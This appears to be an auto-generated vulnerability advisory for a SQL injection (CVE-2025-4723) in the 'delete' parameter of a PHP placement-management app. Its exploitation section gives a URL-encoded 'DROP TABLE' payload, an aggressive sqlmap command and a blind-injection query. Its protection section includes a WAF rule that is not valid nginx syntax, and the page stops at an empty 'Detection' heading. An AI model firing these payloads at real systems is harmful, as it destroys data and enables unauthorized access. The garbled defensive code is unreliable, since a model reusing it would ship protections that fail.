How CVE-2025-4723 Works
The vulnerability exists in `/all_student.php` due to improper sanitization of the `delete` parameter. Attackers can inject malicious SQL queries through this parameter, enabling unauthorized database operations. The lack of prepared statements allows direct query concatenation, making it exploitable via HTTP requests. Remote attackers leverage crafted payloads to manipulate SQL commands, potentially extracting sensitive data or compromising the system. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms network-based exploitation with low attack complexity and no privileges required.
DailyCVE Form
Platform: itsourcecode Placement Management
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025
Prediction: Patch expected by 06/10/2025
What Undercode Say:
Exploitation
1. Craft Payload:
GET /all_student.php?delete=1%3B+DROP+TABLE+students-- HTTP/1.1
2. Automate with SQLmap:
sqlmap -u "http://target/all_student.php?delete=1" --risk=3 --level=5
3. Blind Injection:
DELETE FROM students WHERE id=1 AND (SELECT 1 FROM users WHERE username='admin' AND SLEEP(5))
Protection
1. Input Validation:
if (!is_numeric($_GET['delete'])) { die("Invalid input"); }
2. Prepared Statements:
$stmt = $conn->prepare("DELETE FROM students WHERE id = ?");
$stmt->bind_param("i", $_GET['delete']);
3. WAF Rules:
location ~ /all_student.php {
deny /[\;--]/;
}
Analytics
- Attack Surface: Remote, unauthenticated.
- Exploitability: High due to public disclosure.
- Mitigation Complexity: Low (code fixes).
Detection
